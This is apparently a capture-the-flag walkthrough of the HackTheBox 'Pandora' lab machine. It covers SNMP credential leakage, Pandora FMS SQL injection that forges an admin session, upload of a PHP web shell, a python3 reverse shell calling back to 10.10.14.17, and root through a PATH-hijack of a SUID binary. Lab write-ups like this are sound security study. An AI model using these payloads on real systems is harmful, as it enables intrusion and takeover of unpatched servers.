8.8 KiB
HackTheBox-Pandora
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT 80 (HTTP)
Visting the web page it seems like a template
![](https://i.imgur.com/Ypkc02a.png)
And doesn't display anything interesting , running gobuster
to fuzz for files and directories
![](https://i.imgur.com/cEyrmTB.png)
It doesn't find anything as well , so I thought of doing a subdomain enumeration using wfuzz
but that failed as well
![](https://i.imgur.com/Tl4S04t.png)
So the web application didn't had anything interesting so I starting to scan for udp port and found snmp
service to be running
![](https://i.imgur.com/7eHFH35.png)
Foothold
To enumerate snmp service there's a tool called snmp-walk
so we can enumerate the running process ,interface and operating system through that
![](https://i.imgur.com/dkaO3eY.png)
Keeping this tool running ,after 30 minutes I saw a process with credentials being passed on
![](https://i.imgur.com/bFEjymj.png)
![](https://i.imgur.com/Xkb4dmd.png)
Checking the apache2 vhosts file we can see that there's a subdomain pandora.panda.htb
and it's being ran as user matt
but only on localhost so we need to do portforwarding in order to access it through our browser
![](https://i.imgur.com/v8Tpn8z.png)
ssh -L 2222:127.0.0.1:80 daniel@panda.htb
![](https://i.imgur.com/WhEuvNU.png)
Also to add domain names to /etc/hosts file
![](https://i.imgur.com/GMHIulL.png)
Navigating to that port through browser will present us a login page for Pandora
![](https://i.imgur.com/KLEMHur.png)
Going back to pandora's directory we can read some files out which there's a file named pandoradb_data.sql
which has some queries , we see a query for admin
user having his password hash
![](https://i.imgur.com/fjLXbfj.png)
So trying to login with daniel on pnadora we get an error that we are only allowed to use api
![](https://i.imgur.com/biHvgT2.png)
Looking at the documention of api , we can use operations to get some data from pandora
https://pandorafms.com/manual/en/documentation/08_technical_reference/02_annex_externalapi
http://127.0.0.1:2222/pandora_console/include/api.php?op=get&op2=list_all_user&return_type=json&other=1&other_mode=url_encodeseparator|&apipass=1234&user=daniel&pass=HotelBabylon23
![](https://i.imgur.com/0q6uIxQ.png)
We can see that daniel is only allowed to read data from opearations , we can also get password hashes of users but those were not crackable
http://127.0.0.1:2222/pandora_console/include/api.php?op=get&op2=users&return_type=json&other=1&other_mode=url_encodeseparator|&apipass=1234&user=daniel&pass=HotelBabylon23
![](https://i.imgur.com/KVO8h0v.png)
Looking for exploits I found remote code execution but that requires us to be authenticated and be an admin user
![](https://i.imgur.com/oUV7xHW.png)
The second exploit was related to sqli in/include/chart_generator.php?session_id='
![](https://i.imgur.com/7Ypb5tV.png)
We can verify that there's a sqli by breaking the query with '
![](https://i.imgur.com/1Zlznh8.png)
Now to check how many columns are there we can use ORDER BY
![](https://i.imgur.com/ySUYSqb.png)
It doesn't give any mysql errors so we are good ,let's increase a number
![](https://i.imgur.com/EFDGw8S.png)
![](https://i.imgur.com/gRSBwMT.png)
![](https://i.imgur.com/t2o2s10.png)
And it gives an error when try to sort table by the fourth column which doesn't exists and it gives an sql error so there are 3 columns in the table from which it's fetching the data
Rabbit Hole
so let's using sqlmap
to dump data , we can either just directly supply the url or save the request through burp , I find saving the request convenient for me so I'll go with that
![](https://i.imgur.com/Vx247rS.png)
And it's going to start dumping the database
![](https://i.imgur.com/Xqkr0Lq.png)
Now here what we have fallen into a rabbit hole , by dumping the database we can find session id for users on pandora fms but those are only for matt and daniel , daniel only has access to api and matt is just a normal user
![](https://i.imgur.com/Y8w30L4.png)
In PHPSESSSION
replace the session
![](https://i.imgur.com/Z3j2ciT.png)
![](https://i.imgur.com/nqfPgye.png)
But we can't really do much being matt user
![](https://i.imgur.com/CZGEU2Z.png)
Privilege Escalation (Matt)
So going back to the url which was vulnerable to sqli we can elevate our privilegs to become admin user by following this article
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained
![](https://i.imgur.com/KrpA7rY.png)
Checking the columns of the table that what values it expects , we can look in the pandoradb.sql
file that tsession_php
has three columns
![](https://i.imgur.com/kqaOfig.png)
Our sqli payload would look like this
union+select+'randomshit_token','1638796349','id_usuario|s:5:"admin";'+--+
it's using select statement to allow a phpsesssion to be created against the admin user with the token we provided ,it could be anything
![](https://i.imgur.com/6HZ29jk.png)
Running this it doesn't show any errors which means it got executed correctly and now replacing the PHPSESSION with our token
![](https://i.imgur.com/pQGOky6.png)
We are now logged in as admin user now all that is left is to use the rce exploit, I tried the exploit from exploit-db but it didn't worked
Then saw a php file upload exploit from a youtube video
![](https://i.imgur.com/gViN9jj.png)
![](https://i.imgur.com/tj7cght.png)
So we can make a php file which will allow us to execute comamnds and make a zip archive of that php as we need to upload that as an extension
<?php system($_GET['cmd']); ?>
![](https://i.imgur.com/H1lhKet.png)
Then upload the archive file having the php file
![](https://i.imgur.com/JKzbAY3.png)
![](https://i.imgur.com/20h7CaH.png)
After uploading the file , execute the file through http://127.0.0.1:2222/pandora_console/extensions/shell.php
![](https://i.imgur.com/OluufnP.png)
![](https://i.imgur.com/Jcs8MbI.png)
We can get a reverse shell through python3
python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.17%22,3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27
![](https://i.imgur.com/E3V1OOY.png)
Stabilizing the shell with python3
![](https://i.imgur.com/qgZzikg.png)
Privilege Escalation (root)
Let's try to see if we have any privileges to run something as a root user sudo -l
but it gives an error.
![](https://i.imgur.com/y4tgbT9.png)
So this can be fixed by generating pair of ssh keys and logging.
![](https://i.imgur.com/ZZsQQQS.png)
But it seems we can't run anything as a root user ,so moving on for fidining SUID binaries
This binary seems suspicious as this isn't available by default, transferring the pandora_backup
binary we can see that it's using tar
to create an archive from /var/www/pandora/pandora_console/*
in /root/.backup
and the archive name pandora-backup.tar.gz
![](https://i.imgur.com/KrJ5QJ1.png)
So this is vulnerable to PATH variable exploit , we can create a file named tar
which will make bash
a SUID binary and making it executable
![](https://i.imgur.com/tPlCpU2.png)
Then exporting the PATH variable
export PATH=/tmp:$PATH
As we run the binary it will make bash a SUID
![](https://i.imgur.com/hFtNd8u.png)
![](https://i.imgur.com/vizMA4B.png)
References
- https://book.hacktricks.xyz/pentesting/pentesting-snmp
- https://vuldb.com/?id.174621
- https://pandorafms.com/manual/en/documentation/08_technical_reference/02_annex_externalapi
- https://www.exploit-db.com/exploits/48280
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32099
- https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained
- https://www.youtube.com/watch?v=rJXusinFPw4
- https://k4m1ll0.com/cve-2020-8500.html